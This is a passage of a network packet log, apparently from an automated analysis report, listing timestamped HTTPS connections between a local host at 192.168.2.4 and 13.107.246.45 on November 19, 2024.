Nov 19, 2024 19:15:33.458601952 CET	50045	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.458625078 CET	443	50045	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.464685917 CET	50045	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.464704037 CET	443	50045	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.465130091 CET	443	50044	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.466428041 CET	443	50044	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.466500998 CET	50044	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.466629982 CET	50044	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.466629982 CET	50044	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.466646910 CET	443	50044	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.466656923 CET	443	50044	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.470176935 CET	50048	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.470216990 CET	443	50048	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.470304966 CET	50048	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.470604897 CET	50048	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.470614910 CET	443	50048	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.490026951 CET	443	50043	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.490132093 CET	443	50043	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.490215063 CET	50043	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.490233898 CET	443	50043	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.490272999 CET	443	50043	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.490319967 CET	50043	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.490483046 CET	50043	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.490504980 CET	443	50043	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.490516901 CET	50043	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.490523100 CET	443	50043	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.493549109 CET	50049	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.493596077 CET	443	50049	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.493662119 CET	50049	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.493940115 CET	50049	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.493952990 CET	443	50049	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.561330080 CET	443	50045	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.561436892 CET	443	50045	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.561491966 CET	50045	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.561515093 CET	443	50045	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.561541080 CET	443	50045	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.561793089 CET	50045	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.561793089 CET	50045	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.561819077 CET	50045	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.561834097 CET	443	50045	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.566140890 CET	50050	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.566199064 CET	443	50050	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.566349030 CET	50050	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.566525936 CET	50050	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.566539049 CET	443	50050	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.721544027 CET	443	50046	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.722207069 CET	50046	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.722233057 CET	443	50046	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.722912073 CET	50046	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.722918034 CET	443	50046	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.767246962 CET	443	50047	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.767817974 CET	50047	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.767837048 CET	443	50047	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.768387079 CET	50047	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.768394947 CET	443	50047	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.827892065 CET	443	50046	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.828052998 CET	443	50046	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.828136921 CET	50046	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.828313112 CET	50046	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.828327894 CET	443	50046	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.828344107 CET	50046	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.828349113 CET	443	50046	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.832195997 CET	50051	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.832248926 CET	443	50051	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.832473993 CET	50051	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.832714081 CET	50051	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.832732916 CET	443	50051	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.871918917 CET	443	50047	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.872121096 CET	443	50047	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.872242928 CET	50047	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.872689009 CET	50047	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.872689009 CET	50047	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.872709036 CET	443	50047	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.872719049 CET	443	50047	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.876560926 CET	50052	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.876602888 CET	443	50052	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:33.876882076 CET	50052	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.876941919 CET	50052	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:33.876952887 CET	443	50052	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.119007111 CET	443	50048	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.119683981 CET	50048	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.119708061 CET	443	50048	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.120212078 CET	50048	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.120217085 CET	443	50048	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.331710100 CET	443	50049	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.332201958 CET	50049	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.332218885 CET	443	50049	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.332688093 CET	50049	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.332694054 CET	443	50049	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.332701921 CET	443	50050	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.333086967 CET	50050	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.333102942 CET	443	50050	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.333528042 CET	50050	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.333533049 CET	443	50050	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.430932999 CET	443	50048	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.431436062 CET	443	50049	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.431529045 CET	443	50049	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.431592941 CET	50049	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.431720018 CET	443	50048	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.431763887 CET	50049	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.431782007 CET	443	50049	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.431785107 CET	443	50048	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.431798935 CET	50048	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.431817055 CET	50049	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.431823015 CET	443	50049	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.431843996 CET	50048	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.433422089 CET	50048	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.433440924 CET	443	50048	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.434930086 CET	443	50050	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.435065031 CET	443	50050	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.435250044 CET	50050	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.436897039 CET	50053	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.436929941 CET	443	50053	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.437088966 CET	50053	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.437350988 CET	50050	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.437362909 CET	443	50050	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.437436104 CET	50050	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.437443972 CET	443	50050	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.438610077 CET	50053	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.438622952 CET	443	50053	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.439699888 CET	50054	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.439743042 CET	443	50054	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.439851046 CET	50054	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.441072941 CET	50055	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.441087961 CET	443	50055	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.441257954 CET	50055	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.441431999 CET	50055	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.441440105 CET	443	50055	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.441447020 CET	50054	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.441462994 CET	443	50054	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.513864994 CET	443	50051	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.514406919 CET	50051	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.514429092 CET	443	50051	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.514910936 CET	50051	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.514919043 CET	443	50051	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.534905910 CET	443	50052	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.535506010 CET	50052	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.535523891 CET	443	50052	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.535904884 CET	50052	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.535908937 CET	443	50052	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.613576889 CET	443	50051	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.613672018 CET	443	50051	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.613739014 CET	443	50051	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.613759995 CET	50051	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.613815069 CET	50051	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.613953114 CET	50051	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.613975048 CET	443	50051	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.613987923 CET	50051	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.613992929 CET	443	50051	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.617268085 CET	50056	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.617312908 CET	443	50056	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.617384911 CET	50056	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.617511988 CET	50056	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.617526054 CET	443	50056	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.635508060 CET	443	50052	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.635610104 CET	443	50052	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.635801077 CET	50052	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.635896921 CET	50052	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.635896921 CET	50052	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.635919094 CET	443	50052	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.635927916 CET	443	50052	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.640121937 CET	50057	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.640153885 CET	443	50057	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:34.640218973 CET	50057	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.640506983 CET	50057	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:34.640522957 CET	443	50057	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.087058067 CET	443	50053	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.087589025 CET	50053	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.087599993 CET	443	50053	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.088273048 CET	50053	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.088279009 CET	443	50053	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.100482941 CET	443	50055	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.100930929 CET	50055	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.100954056 CET	443	50055	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.101291895 CET	443	50054	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.101385117 CET	50055	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.101397038 CET	443	50055	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.101999044 CET	50054	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.102021933 CET	443	50054	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.102296114 CET	50054	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.102304935 CET	443	50054	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.189867973 CET	443	50053	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.190130949 CET	443	50053	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.190177917 CET	50053	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.190181017 CET	443	50053	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.190308094 CET	50053	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.190308094 CET	50053	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.190332890 CET	50053	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.190354109 CET	443	50053	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.193361044 CET	50058	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.193397999 CET	443	50058	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.193520069 CET	50058	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.193938017 CET	50058	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.193953991 CET	443	50058	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.203937054 CET	443	50055	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.204196930 CET	443	50055	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.204246044 CET	50055	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.204308987 CET	50055	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.204323053 CET	443	50055	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.204334021 CET	50055	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.204346895 CET	443	50055	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.206002951 CET	443	50054	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.206388950 CET	443	50054	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.206490040 CET	50054	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.206598997 CET	50054	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.206599951 CET	50054	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.206612110 CET	443	50054	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.206620932 CET	443	50054	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.207390070 CET	50059	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.207429886 CET	443	50059	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.207545996 CET	50059	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.207798004 CET	50059	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.207808018 CET	443	50059	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.208570004 CET	50060	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.208606005 CET	443	50060	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.208683014 CET	50060	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.208796978 CET	50060	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.208811045 CET	443	50060	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.280797958 CET	443	50056	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.281327009 CET	50056	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.281356096 CET	443	50056	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.281888962 CET	50056	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.281900883 CET	443	50056	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.282046080 CET	443	50057	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.282337904 CET	50057	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.282366991 CET	443	50057	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.282773018 CET	50057	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.282779932 CET	443	50057	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.383771896 CET	443	50056	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.383861065 CET	443	50056	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.383963108 CET	50056	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.384176016 CET	50056	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.384195089 CET	443	50056	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.384207010 CET	50056	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.384212971 CET	443	50056	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.387135983 CET	443	50057	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.387355089 CET	443	50057	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.387393951 CET	50061	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.387415886 CET	443	50057	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.387419939 CET	50057	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.387434959 CET	443	50061	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.387454987 CET	50057	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.387501001 CET	50061	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.387639046 CET	50057	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.387659073 CET	443	50057	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.387669086 CET	50057	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.387676001 CET	443	50057	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.387830019 CET	50061	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.387844086 CET	443	50061	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.390331030 CET	50062	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.390366077 CET	443	50062	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.390422106 CET	50062	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.390569925 CET	50062	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.390582085 CET	443	50062	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.838285923 CET	443	50058	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.839018106 CET	50058	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.839047909 CET	443	50058	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.839601040 CET	50058	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.839612961 CET	443	50058	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.842077017 CET	443	50060	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.842422009 CET	50060	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.842453957 CET	443	50060	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.842967987 CET	50060	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.842974901 CET	443	50060	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.877940893 CET	443	50059	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.878510952 CET	50059	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.878535032 CET	443	50059	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.878976107 CET	50059	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.878981113 CET	443	50059	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.938527107 CET	443	50058	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.938780069 CET	443	50058	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.938854933 CET	50058	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.938994884 CET	50058	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.939016104 CET	443	50058	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.939028025 CET	50058	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.939033031 CET	443	50058	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.940999031 CET	443	50060	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.941193104 CET	443	50060	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.941236019 CET	50060	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.941395044 CET	50060	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.941409111 CET	443	50060	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.941426992 CET	50060	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.941431999 CET	443	50060	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.943267107 CET	50063	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.943309069 CET	443	50063	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.943388939 CET	50063	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.943567038 CET	50063	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.943579912 CET	443	50063	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.943949938 CET	50064	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.943979979 CET	443	50064	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.944050074 CET	50064	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.944243908 CET	50064	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.944256067 CET	443	50064	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.981900930 CET	443	50059	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.982120991 CET	443	50059	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.982168913 CET	443	50059	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.982171059 CET	50059	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.982286930 CET	50059	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.982408047 CET	50059	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.982428074 CET	443	50059	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.982439041 CET	50059	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.982444048 CET	443	50059	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.986054897 CET	50065	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.986100912 CET	443	50065	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:35.986237049 CET	50065	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.986468077 CET	50065	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:35.986479998 CET	443	50065	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.039020061 CET	443	50061	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.039659977 CET	50061	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.039689064 CET	443	50061	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.040122986 CET	50061	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.040128946 CET	443	50061	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.042558908 CET	443	50062	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.042913914 CET	50062	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.042927980 CET	443	50062	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.043258905 CET	50062	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.043262005 CET	443	50062	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.139513016 CET	443	50061	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.139702082 CET	443	50061	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.139746904 CET	443	50061	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.139780045 CET	50061	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.139844894 CET	50061	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.139899015 CET	50061	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.139916897 CET	443	50061	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.139929056 CET	50061	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.139935017 CET	443	50061	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.142930031 CET	50066	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.142975092 CET	443	50066	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.143037081 CET	50066	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.143176079 CET	50066	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.143187046 CET	443	50066	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.143591881 CET	443	50062	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.143898010 CET	443	50062	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.143951893 CET	50062	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.143974066 CET	50062	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.143986940 CET	443	50062	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.143997908 CET	50062	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.144002914 CET	443	50062	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:36.146215916 CET	50067	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:36.146255016 CET	443	50067	13.107.246.45	192.168.2.4
